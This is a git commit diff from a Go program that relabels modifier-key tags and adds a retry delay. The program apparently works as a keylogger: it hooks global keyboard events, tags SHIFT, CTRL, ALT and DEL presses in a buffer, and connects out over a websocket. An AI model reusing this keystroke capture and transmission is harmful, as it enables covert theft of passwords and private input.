💄 Rewrites special keystrokes for intuitiveness

This commit is contained in:
Daniel Svitan
2025-04-10 21:29:43 +02:00
parent 09077515db
commit 85a37ef176
3 changed files with 10 additions and 41 deletions

View File

@@ -3,6 +3,7 @@ package main
import (
"net/url"
"os"
"time"
"github.com/gorilla/websocket"
hook "github.com/robotn/gohook"
@@ -31,6 +32,7 @@ func main() {
if tries >= 3 {
return
}
time.Sleep(time.Second)
} else {
break
}
@@ -58,31 +60,31 @@ func main() {
switch ev.Rawcode {
case SHIFT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[SHIFT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[shift]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[SHIFT]")...)
}
continue
case CTRL_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[CTRL]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[ctrl]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[CTRL]")...)
}
continue
case ALT_RAWCODE:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[ALT]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[alt]")...)
} else if ev.Kind == hook.KeyUp {
buff = append(buff, []byte("[ALT]")...)
}
continue
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
buff = append(buff, []byte("[del]")...)
}
continue
}
@@ -90,7 +92,7 @@ func main() {
switch ev.Keychar {
case DEL_KEYCHAR:
if ev.Kind == hook.KeyDown {
buff = append(buff, []byte("[DEL]")...)
buff = append(buff, []byte("[del]")...)
}
continue